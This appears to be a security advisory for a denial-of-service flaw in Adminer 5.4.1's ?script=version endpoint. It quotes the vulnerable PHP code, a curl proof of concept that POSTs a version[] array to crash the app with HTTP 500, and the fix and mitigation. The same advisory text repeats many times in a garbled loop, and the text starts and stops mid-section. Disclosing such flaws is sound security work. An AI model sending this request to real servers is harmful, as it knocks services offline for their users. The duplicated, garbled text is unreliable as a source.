PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

